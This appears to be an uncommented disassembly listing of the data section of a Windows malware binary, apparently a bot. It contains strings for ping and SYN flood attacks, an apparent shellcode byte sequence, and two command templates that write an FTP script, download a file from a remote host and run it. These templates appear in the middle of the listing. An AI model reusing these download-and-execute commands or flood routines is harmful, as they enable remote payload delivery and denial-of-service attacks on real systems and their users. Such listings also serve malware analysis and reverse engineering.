		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
		dd 0E7h	dup(0)
aSystemrootSyst	db '%systemroot%\system32\cmd.exe',0 ; DATA XREF: _294ADE7B:00425E69o
					; _294ADE7B:loc_425E7Cr ...
		align 4
aExit		db 'exit',0
		align 8
word_43F488	dw 1			; DATA XREF: sub_425960+9r
					; _294ADE7B:00425C02r
		align 4
word_43F48C	dw 4			; DATA XREF: sub_425960+3r
		align 10h
aEchoOpenSDAaEc	db 'echo open %s %d >> aa &echo user a a >> aa &echo binary >> aa &ec'
					; DATA XREF: _294ADE7B:00425F11o
		db 'ho get %s >> aa &echo bye >> aa &ftp -n -v -s:aa &del aa &%s',0Dh,0Ah,0
		dd 7 dup(0)
aC		db '%c',0               ; DATA XREF: _294ADE7B:00425E84o
					; _294ADE7B:00425F44o
		align 10h
word_43F530	dw 0DFFh		; DATA XREF: _294ADE7B:00425C37r
byte_43F532	db 0			; DATA XREF: _294ADE7B:00425C43r
		align 4
word_43F534	dw 0EBFFh		; DATA XREF: _294ADE7B:00425C1Ar
byte_43F536	db 0			; DATA XREF: _294ADE7B:00425C2Br
		align 4
word_43F538	dw 201h			; DATA XREF: _294ADE7B:00425BE4r
byte_43F53A	db 0			; DATA XREF: _294ADE7B:00425BF8r
		align 4
dword_43F53C	dd 20424652h		; DATA XREF: _294ADE7B:00425BC6r
dword_43F540	dd 2E333030h		; DATA XREF: _294ADE7B:00425BCBr
dword_43F544	dd 0A383030h		; DATA XREF: _294ADE7B:00425BD1r
byte_43F548	db 0			; DATA XREF: _294ADE7B:00425BDBr
		align 4
aPing		db 'ping',0             ; DATA XREF: sub_4267F0+22o
		align 4
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
					; DATA XREF: sub_4268B0+D0o
		align 10h
		dd 2 dup(0)
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4268B0+B4o
		align 4
		dd 2 dup(0)
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4268B0+43o
		align 8
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_426A30+38o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_426A30+2Bo
		dd 0
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_426A30+23o
		align 10h
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_426A30+Co
		align 4
aForsyn		db 'forsyn',0           ; DATA XREF: sub_426D40+22o
		align 4
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426E00+195o
		align 10h
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_426E00+143o
		align 10h
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426E00+D3o
		align 4
		dd 0
aSyn		db 'syn',0              ; DATA XREF: _294ADE7B:00427272o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: sub_427310+C1o
		align 4
		dd 0
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_427310+43o
		align 8
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: _5AD6BD6B:0043F6B8o
		align 4
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0 ; DATA XREF: sub_427930+23o
		align 8
aCalloc		db 'calloc',0           ; DATA XREF: sub_4279B0+1A2o
					; sub_4279B0+1D5o ...
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_4279B0+185o
					; sub_428720+20Fo
		dd 0
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4279B0+16Co
					; sub_428720+1C4o ...
		align 4
		dd 0
aSocket		db 'socket',0           ; DATA XREF: sub_4279B0+13Bo
					; sub_428720+15Eo
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4279B0+EAo
		align 4
aGetservbyname	db 'getservbyname',0    ; DATA XREF: sub_4279B0+5Co
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_4279B0+49o
					; sub_4279B0:loc_427A6Do
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_427CB0:loc_427CD2o
		align 8
aRead		db 'read',0             ; DATA XREF: sub_427DF0:loc_427F8Co
		align 10h
asc_43F760	db 0Dh,0Ah,0		; DATA XREF: sub_427DF0+11Do
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_428270+72o
		align 10h
aUserS		db 'USER %s',0          ; DATA XREF: sub_428270+3Do
		dd 0
aWrite		db 'write',0            ; DATA XREF: sub_428340+A3o
		align 4
aS		db '%s',0Ah,0           ; DATA XREF: sub_428340+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_428460+203o
		align 10h
		dd 0
dword_43F7A4	dd 524F5453h		; DATA XREF: sub_428460:loc_428547r
byte_43F7A8	db 0			; DATA XREF: sub_428460+EDr
		align 4
dword_43F7AC	dd 52544552h		; DATA XREF: sub_428460:loc_42852Dr
byte_43F7B0	db 0			; DATA XREF: sub_428460+D3r
		align 4
dword_43F7B4	dd 5453494Ch		; DATA XREF: sub_428460:loc_428513r
byte_43F7B8	db 0			; DATA XREF: sub_428460+B8r
		align 4
dword_43F7BC	dd 54534C4Eh		; DATA XREF: sub_428460:loc_4284F8r
byte_43F7C0	db 0			; DATA XREF: sub_428460+9Er
		align 4
dword_43F7C4	dd 45505954h, 632520h, 0 ; DATA	XREF: sub_428460+5Eo
					; _294ADE7B:0042986Ao
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_428460+2Do
		align 4
		dd 2 dup(0)
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0 ; DATA XREF: sub_428720+2C8o
		align 10h
aListen		db 'listen',0           ; DATA XREF: sub_428720+242o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_428720+230o
		align 10h
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_428720+190o
		align 10h
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_428720+10Eo
		align 8
aPasv		db 'PASV',0             ; DATA XREF: sub_428720+B4o
		align 10h
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_428720+77o
		align 4
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_428720+45o
		align 10h
aTimedOutWaitin	db 'timed out waiting for connection',0 ; DATA XREF: sub_428C00+A4o
		align 8
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_428FC0+12Eo
		align 10h
		dd 2 dup(0)
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_428FC0+FBo
		align 10h
		dd 2 dup(0)
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_428FC0+DBo
		align 10h
		dd 2 dup(0)
aSiteS		db 'SITE %s',0          ; DATA XREF: _294ADE7B:0042927Eo
		dd 0
aSyst		db 'SYST',0             ; DATA XREF: _294ADE7B:004292DDo
		align 4
aMkdS		db 'MKD %s',0           ; DATA XREF: _294ADE7B:0042936Eo
		align 4
aCwdS		db 'CWD %s',0           ; DATA XREF: _294ADE7B:004293EEo
		align 4
aCdup		db 'CDUP',0             ; DATA XREF: _294ADE7B:00429447o
		align 4
aRmdS		db 'RMD %s',0           ; DATA XREF: _294ADE7B:0042949Eo
		align 4
off_43F97C	dd offset dword_445750	; DATA XREF: _294ADE7B:004294FDo
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_4295A0:loc_429721o
		dd 0
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_4295A0+125o
		align 4
		dd 0
word_43F9BC	dw 77h			; DATA XREF: sub_4295A0+1Fr
		align 10h
dword_43F9C0	dd 25206425h, 64h	; DATA XREF: _294ADE7B:004298C6o
dword_43F9C8	dd 455A4953h, 732520h, 0 ; DATA	XREF: _294ADE7B:0042989Do
dword_43F9D4	dd 4D54444Dh, 732520h, 0 ; DATA	XREF: _294ADE7B:00429986o
dword_43F9E0	dd 4F544E52h, 732520h, 0 ; DATA	XREF: _294ADE7B:00429AF1o
dword_43F9EC	dd 52464E52h, 732520h, 0 ; DATA	XREF: _294ADE7B:00429AC9o
dword_43F9F8	dd 454C4544h, 732520h, 0 ; DATA	XREF: _294ADE7B:00429B8Eo
aQuit		db 'QUIT',0             ; DATA XREF: sub_429BE0+10o
		align 4
dword_43FA0C	dd 1			; DATA XREF: sub_42B600+Cr
					; sub_42B600+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_42C420+13o
		align 10h
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_42C420+6o
		align 10h
aA_0:					; DATA XREF: sub_42EBA0+36o
		unicode	0, <€>,0
		dd 12h dup(0)
dword_43FA8C	dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh, 0FFFFB966h, 0FF0E7380h
					; DATA XREF: _294ADE7B:0042F9E6o
					; _294ADE7B:0042FC40o ...
		dd 0F9E243h, 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: _294ADE7B:0042FE6Bo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Bh dup(0)
off_43FB90	dd offset off_437100	; DATA XREF: _8C6BDE73:off_437238o
					; _8C6BDE73:00437274o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
		dd 1, 85h dup(0)
byte_43FDC8	db 0			; DATA XREF: sub_41A020+76o
					; sub_41A020+C0o ...
		align 10h
dword_43FDD0	dd 0			; DATA XREF: _294ADE7B:0040C0AAr
					; sub_40C310+DEw
		align 8
dword_43FDD8	dd 0			; DATA XREF: _294ADE7B:0040C0D5w
		dd 49h dup(0)
dword_43FF00	dd 0			; DATA XREF: _294ADE7B:0040C0C1w
					; _294ADE7B:loc_40C164r ...
dword_43FF04	dd 0			; DATA XREF: _294ADE7B:0040C09Cr
					; sub_40C310+D7w
dword_43FF08	dd 0			; DATA XREF: _294ADE7B:0040C08Fr
					; sub_40C310+CAw
dword_43FF0C	dd 0			; DATA XREF: sub_40C310+BDw
					; sub_40C310+E3r
		dd 11h dup(0)
dword_43FF54	dd 0			; DATA XREF: sub_40EB00+47Dr
dword_43FF58	dd 0			; DATA XREF: sub_40EB00+515r
					; sub_4108D0+C0r ...
dword_43FF5C	dd 0			; DATA XREF: sub_40EB00+655r
					; sub_40EB00+72Ar ...
dword_43FF60	dd 0			; DATA XREF: sub_40EB00+B79r
					; _294ADE7B:loc_4112B8r
dword_43FF64	dd 0			; DATA XREF: sub_40EB00+74Br
dword_43FF68	dd 0			; DATA XREF: sub_40EB00+828r
dword_43FF6C	dd 0			; DATA XREF: sub_40EB00+77Cr
dword_43FF70	dd 0			; DATA XREF: sub_40EB00+4DDr
					; sub_40EB00+5B2r ...
dword_43FF74	dd 0			; DATA XREF: sub_40EB00+311r
dword_43FF78	dd 0			; DATA XREF: sub_40EB00+34Dr
					; sub_40EB00+1068r
dword_43FF7C	dd 0			; DATA XREF: sub_40EB00+33Dr
dword_43FF80	dd 0			; DATA XREF: sub_40EB00+3D2r
dword_43FF84	dd 0			; DATA XREF: sub_40EB00+E93r
dword_43FF88	dd 0			; DATA XREF: sub_40EB00+1220r
					; sub_4108D0+319r
dword_43FF8C	dd 0			; DATA XREF: sub_4108D0+4DAr
dword_43FF90	dd 0			; DATA XREF: sub_40EB00+683r
dword_43FF94	dd 0			; DATA XREF: sub_40EB00+6B5r
dword_43FF98	dd 0			; DATA XREF: sub_40EB00+1252r
		dd 5 dup(0)
dword_43FFB0	dd 10h dup(0)		; DATA XREF: sub_41AA60+4Fo
					; sub_41AA60+9Eo ...
		db 2 dup(0)
byte_43FFF2	db 0			; DATA XREF: sub_409590r sub_409600r
		align 4
		db 3 dup(0)
byte_43FFF7	db 0			; DATA XREF: sub_40C310+10Fr
		db 0
byte_43FFF9	db 0			; DATA XREF: sub_40C8A0r
		align 4
		dd 44h dup(0)
		db 3 dup(0)
byte_44010F	db 0			; DATA XREF: _294ADE7B:0041D3CEo
		db 3 dup(0)
byte_440113	db 0			; DATA XREF: _294ADE7B:loc_41DE6Dr
		dd 2Ch dup(0)
word_4401C4	dw 0			; DATA XREF: sub_40EB00+1E1r
		align 4
		dd 78h dup(0)
		db 0
byte_4403A9	db 3 dup(0)		; DATA XREF: _294ADE7B:0042373Bo
					; _294ADE7B:00423747o ...
		dd 11h dup(0)
		db 2 dup(0)
word_4403F2	dw 0			; DATA XREF: sub_41ACE0+4A5o
					; sub_41ACE0+A33o
		dd 3Ch dup(0)
		db 3 dup(0)
dword_4404E7	dd 0			; DATA XREF: sub_41D500+49r
					; sub_41D500+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_4405C1	db 0			; DATA XREF: sub_41A020+18r
		align 4
		dd 12h dup(0)
SEH_412160	dd 11h dup(0)		; DATA XREF: sub_412160+2o
		db 3 dup(0)
byte_440653	db 0			; DATA XREF: sub_40C310:loc_40C69Fr
		dd 12h dup(0)
byte_44069C	db 0			; DATA XREF: sub_40EB00+842r
		align 10h
		dd 0Bh dup(0)
dword_4406CC	dd 18h dup(0)		; DATA XREF: sub_41BE00+67Ao
		db 2 dup(0)
byte_44072E	db 0			; DATA XREF: sub_404890+258r
					; sub_41BE00+671r
		align 10h
		dd 11h dup(0)
		db 3 dup(0)
byte_440777	db 0			; DATA XREF: sub_404890:loc_404B00r
					; sub_41BE00:loc_41C489r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_4407A7	db 0			; DATA XREF: sub_41BE00+692o
					; _294ADE7B:0041E108o ...
		dd 12h dup(0)
dword_4407F0	dd 2Bh dup(0)		; DATA XREF: sub_41D500+183o
					; sub_41D500+630o
dword_44089C	dd 0			; DATA XREF: sub_426770+1r
		dd 0ECh	dup(0)
byte_440C50	db 0			; DATA XREF: sub_41D500+146r
					; sub_41D500+5EEr
		align 4
		dd 3EDh	dup(0)
dword_441C08	dd 86h dup(0)		; DATA XREF: sub_41BE00+67Fo
					; sub_41BE00+697o ...
		db 3 dup(0)
byte_441E23	db 0			; DATA XREF: sub_4252A0+3Bw
					; sub_425310+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_442023	dd 0			; DATA XREF: sub_4252A0+18w
					; sub_425310+4Fw ...
dword_442027	dd 0			; DATA XREF: _294ADE7B:00422360r
					; _294ADE7B:004227ADw ...
dword_44202B	dd 0			; DATA XREF: sub_4252A0+26w
					; sub_425310+5Dr ...
dword_44202F	dd 0			; DATA XREF: sub_4252A0+2Dw
					; sub_425310+8Cr ...
dword_442033	dd 0			; DATA XREF: sub_4252A0+34w
					; sub_425310+9Dr
dword_442037	dd 0			; DATA XREF: _294ADE7B:004227C8w
					; _294ADE7B:004227E1r ...
byte_44203B	db 0			; DATA XREF: sub_4252A0+42w
					; sub_425310+85w
		dd 1Bh dup(0)
		db 3 dup(0)
byte_4420AB	db 0			; DATA XREF: _294ADE7B:00411A94o
		dd 0DA9h dup(0)
dword_445750	dd 10EFh dup(0)		; DATA XREF: _5AD6BD6B:off_43F97Co
		db 3 dup(0)
byte_449B0F	db 0			; DATA XREF: sub_4178D0+140o
		dd 1E3h	dup(0)
		db 0
byte_44A29D	db 3 dup(0)		; DATA XREF: sub_40AD70+FAo
		dd 0F5h	dup(0)
dword_44A674	dd 0			; DATA XREF: sub_40EB00+E3Ar
		dd 0CB8h dup(0)
		db 3 dup(0)
byte_44D95B	db 0			; DATA XREF: sub_40EB00+1175o
		dd 1C6h	dup(0)
		db 2 dup(0)
word_44E076	dw 0			; DATA XREF: sub_40EB00:loc_40F469o
		dd 2C1h	dup(0)
dword_44EB7C	dd 0			; DATA XREF: sub_40DE40+50r
		dd 1032h dup(0)
		db 2 dup(0)
word_452C4A	dw 0			; DATA XREF: sub_4064B0+125o
		dd 84h dup(0)
		db 2 dup(0)
word_452E5E	dw 0			; DATA XREF: sub_40DB00+6Ao
		dd 1FEh	dup(0)
dword_453658	dd 15D6h dup(0)		; DATA XREF: sub_404890+135o
dword_458DB0	dd 1Ah dup(0)		; DATA XREF: sub_403BE0+1D7o
		db 0
byte_458E19	db 3 dup(0)		; DATA XREF: sub_40E390+4CCo
		dd 275h	dup(0)
		db 0
byte_4597F1	db 3 dup(0)		; DATA XREF: sub_4064B0+DEo
		dd 365h	dup(0)
		db 3 dup(0)
byte_45A58B	db 0			; DATA XREF: sub_40EB00+380o
		dd 865h	dup(0)
		db 2 dup(0)
word_45C722	dw 0			; DATA XREF: _294ADE7B:00407771o
		dd 245h	dup(0)
		db 2 dup(0)
word_45D03A	dw 0			; DATA XREF: _294ADE7B:0040AAF5o
		dd 103Bh dup(0)
		db 0
byte_461129	db 3 dup(0)		; DATA XREF: sub_40EB00+F02o
		dd 1301h dup(0)
		db 0
byte_465D31	db 3 dup(0)		; DATA XREF: sub_40EB00:loc_40EB89o
		dd 0A3Dh dup(0)
		db 2 dup(0)
word_46862A	dw 0			; DATA XREF: sub_4111F0+1Eo
		dd 3F3h	dup(0)
		db 3 dup(0)
byte_4695FB	db 0			; DATA XREF: sub_416AE0:loc_416B20o
		dd 1B2h	dup(0)
		db 3 dup(0)
dword_469CC7	dd 0			; DATA XREF: sub_409600+Cr
		align 4
		dd 91Ch	dup(0)
dword_46C13C	dd 0			; DATA XREF: _294ADE7B:00419D22r
		dd 12E3h dup(0)
		db 2 dup(0)
word_470CCE	dw 0			; DATA XREF: sub_40E390+323o
		dd 6 dup(0)
SEH_4064B0	dd 1B1h	dup(0)		; DATA XREF: sub_4064B0+2o
		db 0
byte_4713AD	db 3 dup(0)		; DATA XREF: _294ADE7B:0040DFE4o
		dd 261h	dup(0)
dword_471D34	dd 153h	dup(0)		; DATA XREF: _294ADE7B:0040C110o
dword_472280	dd 0CCBh dup(0)		; DATA XREF: _294ADE7B:004076E9o
		db 2 dup(0)
SEH_4038B0	dw 0			; DATA XREF: sub_4038B0+2o
		dd 0DDEh dup(0)
		db 3 dup(0)
dword_478D2B	dd 0			; DATA XREF: sub_416AE0+18Br
		align 10h
		dd 1CAEh dup(0)
dword_47FFE8	dd 1EE2h dup(0)		; DATA XREF: sub_407E8F+3FAo
		db 3 dup(0)
byte_487B73	db 0			; DATA XREF: sub_410430+165o
		dd 2ABh	dup(0)
		db 3 dup(0)
dword_488623	dd 0			; DATA XREF: sub_420EC0+31w
					; sub_425540+13o
		align 4
		dd 44h dup(0)
		db 3 dup(0)
byte_48873B	db 0			; DATA XREF: sub_41BE00+1D5o
					; sub_41BE00+22Bo ...
		dd 5 dup(0)
		db 2 dup(0)
byte_488752	db 0			; DATA XREF: sub_404890+292w
					; sub_404890+4EEw
dword_488753	dd 0			; DATA XREF: sub_421170:loc_4218F9r
					; sub_421170:loc_4219CBr
		align 4
		dd 0
		db 3 dup(0)
dword_48875F	dd 0			; DATA XREF: sub_404840+Cr
					; sub_404840+2Aw
		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_488823	db 0			; DATA XREF: sub_4254D0+16o
					; sub_425500+19o
		db 3 dup(0)
byte_488827	db 0			; DATA XREF: sub_425400+4Co
		dd 83h dup(0)
		db 2 dup(0)
dword_488A36	dd 0			; DATA XREF: sub_421170+E5r
		align 4
		dd 4Bh dup(0)
		db 2 dup(0)
byte_488B6A	db 0			; DATA XREF: sub_426A30:loc_426AE0r
					; sub_427080:loc_427135r ...
		align 4
		dd 3Fh dup(0)
		db 0
dword_488C69	dd 0			; DATA XREF: sub_427080+7Dw
					; sub_427080+15Dw
		align 10h
		dd 229h	dup(0)
dword_489514	dd 870h	dup(0)		; DATA XREF: sub_404890+261o
dword_48B6D4	dd 90Dh	dup(0)		; DATA XREF: sub_4108D0+76o
		db 2 dup(0)
word_48DB0A	dw 0			; DATA XREF: sub_403BE0+189o
		dd 954h	dup(0)
dword_49005C	dd 59Fh	dup(0)		; DATA XREF: _5AD6BD6B:off_43BD88o
		db 2 dup(0)
word_4916DA	dw 0			; DATA XREF: sub_4108D0+13Bo
		dd 1AF9h dup(0)
		db 3 dup(0)
byte_4982C3	db 0			; DATA XREF: sub_426E00+1Do
		dd 257h	dup(0)
		db 3 dup(0)
byte_498C23	db 0			; DATA XREF: sub_426E00+2Fo
		dd 15Dh	dup(0)
		db 0
byte_499199	db 3 dup(0)		; DATA XREF: sub_413AD0+169o
		dd 2Eh dup(0)
byte_499254	db 0			; DATA XREF: sub_404890+299w
					; sub_40EB00:loc_40EB42r ...
		align 4
		dd 14h dup(0)
		db 0
byte_4992A9	db 0			; DATA XREF: _294ADE7B:0041DE61w
					; _294ADE7B:0041DE77w ...
		db 0
byte_4992AB	db 0			; DATA XREF: sub_41BE00+341o
					; sub_41BE00+40Bo ...
		dd 3FBh	dup(0)
		db 2 dup(0)
word_49A29A	dw 0			; DATA XREF: sub_40C310+29o
		dd 0CD3h dup(0)
		db 0
byte_49D5E9	db 3 dup(0)		; DATA XREF: _294ADE7B:off_401EA6o
		dd 2457h dup(0)
		db 3 dup(0)
byte_4A674B	db 0			; DATA XREF: sub_40EB00+D82o
		dd 226h	dup(0)
		db 2 dup(0)
word_4A6FE6	dw 0			; DATA XREF: sub_40EB00+1338o
		dd 0DBDh dup(0)
		db 0
byte_4AA6DD	db 3 dup(0)		; DATA XREF: _294ADE7B:004134B1o
		dd 250h	dup(0)
dword_4AB020	dd 1000h dup(0)		; DATA XREF: sub_4181B0+35o
dword_4AF020	dd 333h	dup(0)		; DATA XREF: _294ADE7B:0041810Fo
					; _294ADE7B:00418188o
dword_4AFCEC	dd 0			; DATA XREF: sub_4186E0+12r
					; sub_4186E0+1Br ...
		dd 2 dup(0)
dword_4AFCF8	dd 0			; DATA XREF: sub_41E060+66o
					; _294ADE7B:0041E10Dw ...
dword_4AFCFC	dd 0			; DATA XREF: sub_41E060+13w
					; sub_41E060+2Aw ...
dword_4AFD00	dd 0			; DATA XREF: _294ADE7B:0041E121w
dword_4AFD04	dd 0			; DATA XREF: sub_41E060+43w
					; _294ADE7B:0041E12Bw
dword_4AFD08	dd 0			; DATA XREF: _294ADE7B:0041E131w
dword_4AFD0C	dd 0			; DATA XREF: sub_41E060+52w
					; _294ADE7B:0041E137w ...
dword_4AFD10	dd 0			; DATA XREF: sub_41E060+57w
					; _294ADE7B:0041E13Dw ...
dword_4AFD14	dd 0			; DATA XREF: _294ADE7B:0041F374w
					; _294ADE7B:0041F379o
dword_4AFD18	dd 0			; DATA XREF: sub_41E060+Dr
					; sub_41E060:loc_41E084r ...
dword_4AFD1C	dd 0			; DATA XREF: sub_41E060:loc_41E0C1r
					; _294ADE7B:0041E151w
dword_4AFD20	dd 0			; DATA XREF: sub_41EB00+2Dw
					; sub_41EB00+41w ...
dword_4AFD24	dd 0			; DATA XREF: sub_41EB00+5Aw
					; sub_41EB00+7Fr
dword_4AFD28	dd 0			; DATA XREF: sub_41EB00+78w
					; sub_41EB00+92r ...
dword_4AFD2C	dd 0			; DATA XREF: sub_41EB00+85w
					; sub_41EB00+148r
		dd 3 dup(0)
dword_4AFD3C	dd 0			; DATA XREF: _294ADE7B:0041A870o
					; _294ADE7B:0041A875o
dword_4AFD40	dd 0			; DATA XREF: sub_421170+5Br
					; sub_421E10+5r ...
dword_4AFD44	dd 0			; DATA XREF: _294ADE7B:00422367r
					; _294ADE7B:004225A1r ...
		dd 1Dh dup(0)
		db 3 dup(0)
SEH_416AE0	db 0			; DATA XREF: sub_416AE0+8o
		dd 53Bh	dup(0)
dword_4B12AC	dd 35h dup(0)		; DATA XREF: sub_4064B0+F4o
		db 0
byte_4B1381	db 3 dup(0)		; DATA XREF: sub_40EB00+A54o
		dd 23Fh	dup(0)
dword_4B1C80	dd 6 dup(0)		; DATA XREF: _294ADE7B:0042240Co
					; _294ADE7B:004224A2o ...
dword_4B1C98	dd 196h	dup(0)		; DATA XREF: sub_421D50+62o
					; sub_421D50+6Do
dword_4B22F0	dd 0			; DATA XREF: sub_423580+9Ar
word_4B22F4	dw 0			; DATA XREF: sub_423580+A9r
		align 4
word_4B22F8	dw 0			; DATA XREF: sub_422CE0+11o
					; sub_425960+10r ...
		align 4
word_4B22FC	dw 0			; DATA XREF: sub_4239C0+45r
					; sub_423DF0+DAr
		align 10h
dword_4B2300	dd 0			; DATA XREF: _294ADE7B:00424C22r
					; sub_425960+1Cr ...
byte_4B2304	db 0			; DATA XREF: sub_425960+3Ar
					; _294ADE7B:00425C10r
		align 4
byte_4B2308	db 0			; DATA XREF: sub_425140:loc_4251A0r
					; sub_425140+97w
		align 4
byte_4B230C	db 0			; DATA XREF: _294ADE7B:00425EDCo
					; _294ADE7B:00425F1Bo ...
		align 10h
		dd 4Ch dup(0)
dword_4B2440	dd 0			; DATA XREF: sub_425960+45r
word_4B2444	dw 0			; DATA XREF: sub_425960+26r
		align 4
dword_4B2448	dd 0			; DATA XREF: sub_426A30+4Bw
					; sub_426A30+D9r
dword_4B244C	dd 0			; DATA XREF: sub_426A30+31w
					; sub_426A30+45r
dword_4B2450	dd 0			; DATA XREF: sub_426A30+3Ew
					; sub_426A30+54r ...
		align 8
dword_4B2458	dd 80h dup(0)		; DATA XREF: sub_426E00+AAo
					; sub_426E00+129o
dword_4B2658	dd 0			; DATA XREF: sub_426E00+FFo
dword_4B265C	dd 0			; DATA XREF: sub_426E00+118w
		dd 1Dh dup(0)
dword_4B26D4	dd 0			; DATA XREF: sub_427CB0:loc_427CEAr
					; sub_427CB0:loc_427D46r ...
dword_4B26D8	dd 0			; DATA XREF: sub_42C420+19w
					; sub_42C420+2Dr ...
dword_4B26DC	dd 0			; DATA XREF: sub_42C4A0r sub_42C540r ...
dword_4B26E0	dd 0			; DATA XREF: _294ADE7B:loc_42B2D0r
					; sub_42B410r ...
dword_4B26E4	dd 0			; DATA XREF: sub_42A620r
					; sub_42A620+2Fr ...
dword_4B26E8	dd 0			; DATA XREF: sub_42A850:loc_42A952r
					; sub_42A850+111w ...
dword_4B26EC	dd 0			; DATA XREF: sub_42A850+EDr
					; sub_42A850+F6r ...
dword_4B26F0	dd 0			; DATA XREF: _294ADE7B:loc_42B52Ew
					; _294ADE7B:loc_42B550r
dword_4B26F4	dd 0			; DATA XREF: _294ADE7B:0042A0EEr
					; sub_42C180+2Cr ...
		dd 0Ah dup(0)
dword_4B2720	dd 10h dup(0)		; DATA XREF: sub_42B320+1o
					; sub_42B320:loc_42B350o ...
dword_4B2760	dd 8 dup(0)		; DATA XREF: sub_42A6E0+1o
					; sub_42A6E0+25o ...
dword_4B2780	dd 8 dup(0)		; DATA XREF: sub_42B830+1o
					; sub_42B830+25o ...
dword_4B27A0	dd 8 dup(0)		; DATA XREF: sub_42C660+6Do
					; sub_42C700+84o ...
dword_4B27C0	dd 8 dup(0)		; DATA XREF: sub_42C660+66o
					; sub_42C700+8Bo ...
dword_4B27E0	dd 9 dup(0)		; DATA XREF: sub_42A850:loc_42A92Bo
					; sub_42A850:loc_42A967o ...
dword_4B2804	dd 4 dup(0)		; DATA XREF: sub_4303E4:loc_4303F9o
dword_4B2814	dd 0			; DATA XREF: sub_4303E4r
					; sub_4303E4+1Ao
		align 800h
_5AD6BD6B	ends

; Section 4. (virtual address 000B3000)
